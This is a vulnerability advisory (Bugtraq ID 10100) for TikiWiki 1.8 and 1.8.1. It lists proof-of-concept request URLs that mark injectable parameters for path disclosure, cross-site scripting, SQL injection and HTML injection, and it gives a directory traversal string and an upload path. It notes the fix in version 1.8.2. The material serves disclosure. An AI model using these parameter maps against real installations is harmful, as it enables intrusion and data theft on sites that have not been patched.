TikiWiki Project Multiple Input Validation Vulnerabilities

BID:10100

Info

TikiWiki Project Multiple Input Validation Vulnerabilities

Bugtraq ID: 10100
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Apr 12 2004 12:00AM
Updated: Apr 12 2004 12:00AM
Credit: Discovery is credited to JeiAr <[email protected]>.
Vulnerable: TikiWiki Project TikiWiki 1.8.1
TikiWiki Project TikiWiki 1.8
Not Vulnerable: TikiWiki Project TikiWiki 1.8.2

Discussion

TikiWiki Project Multiple Input Validation Vulnerabilities

Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

Exploit / POC

TikiWiki Project Multiple Input Validation Vulnerabilities

The following proof of concept examples have been provided:

Path disclosure:
tiki-searchindex.php?highlight=[JNK]
messu-read.php?offset=[INT]&flag=&priority=&flagval=&sort_mode=
messu-read.php?offset=[INT]&flag=&priority=&flagval=
messu-read.php?offset=[INT]&flag=&priority=
messu-read.php?offset=[INT]&flag=
messu-read.php?offset=
tiki-list_file_gallery.php?find=&galleryId=1&offset=[INT]&sort_mode=
tiki-usermenu.php?find=&offset=
tiki-usermenu.php?find=&offset=[INT]&sort_mode=
tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=[INT]&sort_mode=
tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=
tiki-index.php?page=[VPG]&comments_threshold=[INT]&comments_offset=[INT]&comments_maxComments=
tiki-user_tasks.php?task_useDates=&taskId=[VID]&offset=[INT]&sort_mode=priority_desc&find=[JNK]
tiki-user_tasks.php?task_useDates=&taskId=[VID]&offset=[INT]&sort_mode=
tiki-directory_ranking.php?sort_mode=
tiki-file_galleries.php?find=&search=find&sort_mode=
tiki-list_faqs.php?find=&offset=[INT]&sort_mode=
tiki-list_faqs.php?find=&offset=
tiki-list_trackers.php?find=&offset=[INT]&sort_mode=
tiki-list_trackers.php?find=&offset=

Cross-site scripting:
tiki-switch_theme.php?theme=[XSS]
messu-mailbox.php?flags=&priority=&find=[XSS]
messu-mailbox.php?flags=&priority=[XSS]
messu-read.php?offset=[INT]&flag=&priority=&flagval=&sort_mode=date_desc&find=[XSS]
messu-read.php?offset=[INT]&flag=&priority=&flagval=&sort_mode=[XSS]
messu-read.php?offset=[INT]&flag=&priority=&flagval=[XSS]
messu-read.php?offset=[INT]&flag=&priority=[XSS]
messu-read.php?offset=[INT]&flag=[XSS]
messu-read.php?offset=[XSS]
tiki-read_article.php?articleId=[VID][XSS]
tiki-browse_categories.php?find=&deep=off&parentId=[VID][XSS]
tiki-index.php?page=[VPG]&comments_threshold=[INT][XSS]
tiki-print_article.php?articleId=[VID][XSS]
tiki-list_file_gallery.php?galleryId=[VID][XSS]
tiki-upload_file.php?galleryId=[VID][XSS]
tiki-view_faq.php?faqId=[VID][XSS]
tiki-view_chart.php?chartId=[VID][XSS]
tiki-survey_stats_survey.php?surveyId=[VID][XSS]

SQL injection:
tiki-usermenu.php?find=&offset=[INT]&sort_mode=[SQL]
tiki-list_file_gallery.php?find=&galleryId=[VID]&offset=[INT]&sort_mode=[SQL]
tiki-directory_ranking.php?sort_mode=[SQL]
tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=[INT]&sort_mode=[SQL]
tiki-index.php?page=[VPG]&comments_threshold=[INT]&comments_offset=[INT]&comments_sort_mode=[SQL]
tiki-user_tasks.php?task_useDates=&taskId=[VID]&offset=[INT]&sort_mode=[SQL]
tiki-directory_ranking.php?sort_mode=[SQL]
tiki-directory_search.php?how=or&words=&where=all&sort_mode=[SQL]
tiki-file_galleries.php?find=&search=find&sort_mode=[SQL]
tiki-list_faqs.php?find=&offset=[INT]&sort_mode=[SQL]
tiki-list_trackers.php?find=&offset=[INT]&sort_mode=[SQL]
tiki-list_blogs.php?find=&offset=[INT]&sort_mode=[SQL]
tiki-usermenu.php?find=&offset=[SQL]
tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=[SQL]
tiki-index.php?page=[VPG]&comments_threshold=[INT]&comments_offset=[SQL]
tiki-user_tasks.php?task_useDates=&taskId=[VID]&offset=[SQL]
tiki-list_faqs.php?find=&offset=[SQL]
tiki-list_trackers.php?find=&offset=[SQL]
tiki-list_blogs.php?find=&offset=[SQL]

HTML injection:
User Profile > Theme
User Profile > Country Field
User Profile > Real Name
User Profile > Displayed time zone
Directory > Add Site > Name
Directory > Add Site > Description
Directory > Add Site > URL
Directory > Add Site > Country

Directory traversal:
/tiki-map.phtml?mapfile=../../../../var/

Remote file upload:
http://www.example.com/img/wiki_up/filenamehere

Solution / Fix

TikiWiki Project Multiple Input Validation Vulnerabilities

Solution:
The vendor has released TikiWiki 1.8.2 to address these issues:


TikiWiki Project TikiWiki 1.8

TikiWiki Project TikiWiki 1.8.1

References

TikiWiki Project Multiple Input Validation Vulnerabilities

References:
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